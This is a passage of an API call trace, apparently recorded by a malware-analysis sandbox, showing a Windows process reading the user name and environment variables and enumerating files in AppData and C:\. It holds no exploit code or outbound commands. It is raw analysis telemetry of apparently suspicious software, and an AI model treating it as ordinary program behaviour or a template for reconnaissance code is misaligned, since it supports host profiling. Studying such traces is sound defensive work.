returned 33 [0056.886] FindFirstFileA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\*.*", lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142f988, dwReserved1=0x1410000, cFileName=".", cAlternateFileName="")) returned 0x142f3c8 [0056.886] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0056.886] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0056.886] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0056.886] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0056.886] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0056.887] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0056.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0056.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x142c9bc, cchWideChar=2 | out: lpWideCharStr=".") returned 2 [0056.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x18f804, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 37 [0056.887] CreateDirectoryA (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp"), lpSecurityAttributes=0x0) returned 0 [0056.887] GetLastError () returned 0xb7 [0056.887] GetLastError () returned 0xb7 [0056.887] SetLastError (dwErrCode=0xb7) [0056.887] GetLastError () returned 0xb7 [0056.887] SetLastError (dwErrCode=0xb7) [0056.887] GetLastError () returned 0xb7 [0056.887] SetLastError (dwErrCode=0xb7) [0056.887] GetLastError () returned 0xb7 [0056.887] SetLastError (dwErrCode=0xb7) [0056.887] GetLastError () returned 0xb7 [0056.887] SetLastError (dwErrCode=0xb7) [0056.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0056.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142592c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0056.888] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18f7c0) [0056.891] RtlUnwind (TargetFrame=0x18f9c0, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0056.891] SysStringLen (param_1=" ") returned 0xff [0056.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=255, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 255 [0056.892] SysStringLen (param_1=" ") returned 0xff [0056.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=256, lpMultiByteStr=0x142fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 256 [0056.892] SetErrorMode (uMode=0x8001) returned 0x8001 [0056.892] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0056.892] SetErrorMode (uMode=0x8001) returned 0x8001 [0056.892] GetProcAddress (hModule=0x77710000, lpProcName="GetUserNameA") returned 0x7773a4b4 [0056.892] GetUserNameA (in: lpBuffer=0x142fbac, pcbBuffer=0x18f9bc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18f9bc) returned 1 [0056.898] GetLastError () returned 0x0 [0056.898] SysStringByteLen (bstr="瀵丵䝲湊樰⁓䅈偌捭穸 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††† ") returned 0xff [0056.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x142fbac, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0056.898] SysStringByteLen (bstr="瀵丵䝲湊樰⁓䅈偌捭穸 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††† ") returned 0xff [0056.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x142fbac, cbMultiByte=256, lpWideCharStr=0x142f994, cchWideChar=511 | out: lpWideCharStr="5p5NrGJn0jS HALPmcxz") returned 256 [0056.898] CharLowerBuffW (in: lpsz="5p5NrGJn0jS HALPmcxz", cchLength=0x15 | out: lpsz="5p5nrgjn0js halpmcxz") returned 0x15 [0056.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0056.898] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0056.898] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0056.898] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0056.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x142fffc, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0056.899] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0056.899] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0056.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x18f424, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData", lpUsedDefaultChar=0x0) returned 15 [0056.899] GetFullPathNameA (in: lpFileName="C:\\ProgramData", nBufferLength=0x104, lpBuffer=0x18f660, lpFilePart=0x18f41c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x18f41c*="ProgramData") returned 0xe [0056.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x18f8ac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData", lpUsedDefaultChar=0x0) returned 15 [0056.899] FindClose (in: hFindFile=0x142f3c8 | out: hFindFile=0x142f3c8) returned 1 [0056.899] FindFirstFileA (in: lpFileName="C:\\ProgramData", lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec3e54d0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xec3e54d0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1410000, dwReserved1=0x1434fe8, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x142f3c8 [0056.900] FileTimeToLocalFileTime (in: lpFileTime=0x18f400, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0056.900] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0056.900] FileTimeToLocalFileTime (in: lpFileTime=0x18f408, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0056.900] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0056.900] FileTimeToLocalFileTime (in: lpFileTime=0x18f410, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0056.900] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0056.900] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec3e54d0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xec3e54d0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1410000, dwReserved1=0x1434fe8, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0056.900] GetLastError () returned 0x12 [0056.900] GetLastError () returned 0x12 [0056.900] SetLastError (dwErrCode=0x12) [0056.900] FindClose (in: hFindFile=0x142f3c8 | out: hFindFile=0x142f3c8) returned 1 [0056.900] GetLastError () returned 0x12 [0056.900] SetLastError (dwErrCode=0x12) [0056.900] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0056.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0056.901] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0056.901] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0056.901] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0056.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x142fffc, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0056.901] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0056.901] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0056.901] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.901] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.901] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.901] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x0 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.902] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x0 [0056.903] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x1 [0056.903] VarBstrCmp (bstrLeft="C:", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\", cchWideChar=-1, lpMultiByteStr=0x18f35c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\", lpUsedDefaultChar=0x0) returned 4 [0056.903] GetFullPathNameA (in: lpFileName="C:\\", nBufferLength=0x104, lpBuffer=0x18f598, lpFilePart=0x18f354 | out: lpBuffer="C:\\", lpFilePart=0x18f354*=0x0) returned 0x3 [0056.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\", cchWideChar=-1, lpMultiByteStr=0x18f7e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\", lpUsedDefaultChar=0x0) returned 4 [0056.903] FindFirstFileA (in: lpFileName="C:\\*.*", lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77cd6b65, dwReserved1=0x142f3c8, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x142f3c8 [0056.903] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0056.903] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0056.903] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0056.903] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0056.903] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0056.903] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0056.904] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142f3c8, dwReserved1=0x520024, cFileName="Boot", cAlternateFileName="")) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x142f3c8, dwReserved1=0x520024, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x142f3c8, dwReserved1=0x520024, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.904] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142f3c8, dwReserved1=0x520024, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.905] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x520024, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: 